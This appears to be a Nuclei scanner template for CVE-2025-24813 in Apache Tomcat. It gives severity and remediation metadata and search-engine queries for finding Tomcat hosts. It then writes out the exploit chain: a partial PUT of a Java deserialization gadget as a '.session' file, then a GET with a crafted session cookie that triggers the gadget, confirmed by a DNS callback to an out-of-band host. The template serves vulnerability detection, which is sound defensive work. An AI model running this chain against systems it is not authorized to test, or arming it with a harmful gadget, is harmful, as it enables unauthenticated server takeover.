Apache Tomcat Path Equivalence - Remote Code Execution

id: CVE-2025-24813

info:
  name: Apache Tomcat Path Equivalence - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch,theMiddle
  severity: critical
  description: |
    Path Equivalence- 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat.
  impact: |
    Unauthenticated attackers can exploit path equivalence issues to upload malicious files and execute arbitrary code, leading to complete server compromise and potential data exfiltration.
  remediation: |
    Users are recommended to upgrade to version 11.0.3, 10.1.35 or 9.0.98, which fixes the issue.
  reference:
    - https://scrapco.de/blog/analysis-of-cve-2025-24813-apache-tomcat-path-equivalence-rce.html
    - https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq
    - http://www.openwall.com/lists/oss-security/2025/03/10/5
    - https://nvd.nist.gov/vuln/detail/CVE-2025-24813
    - https://security.netapp.com/advisory/ntap-20250321-0001/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-24813
    cwe-id: CWE-44,CWE-502
    epss-score: 0.99945
    epss-percentile: 0.99971
    cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: apache
    product: tomcat
    shodan-query:
      - http.component:"apache tomcat"
      - cpe:"cpe:2.3:a:apache:tomcat"
      - http.html:"apache tomcat"
      - http.html:"jk status manager"
      - http.title:"apache tomcat"
      - product:"tomcat"
    fofa-query:
      - server=="apache tomcat"
      - body="apache tomcat"
      - body="jk status manager"
      - title="apache tomcat"
    google-query:
      - intitle:"apache tomcat"
      - site:*/examples/jsp/snp/snoop.jsp
  tags: cve,cve2025,apache,tomcat,rce,intrusive,kev,vkev,vuln

flow: http(1) && http(2)

variables:
  filename: "{{randbase(6)}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: header
        words:
          - "Apache"
        internal: true

  - raw:
      - |
        PUT /{{filename}}.session HTTP/1.1
        Host: {{Hostname}}
        Content-range: bytes 0-452/457

        {{generate_java_gadget("dns", "http://{{interactsh-url}}", "raw")}}

      - |
        GET /{{filename}} HTTP/1.1
        Host: {{Hostname}}
        Cookie: JSESSIONID=.{{filename}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 201
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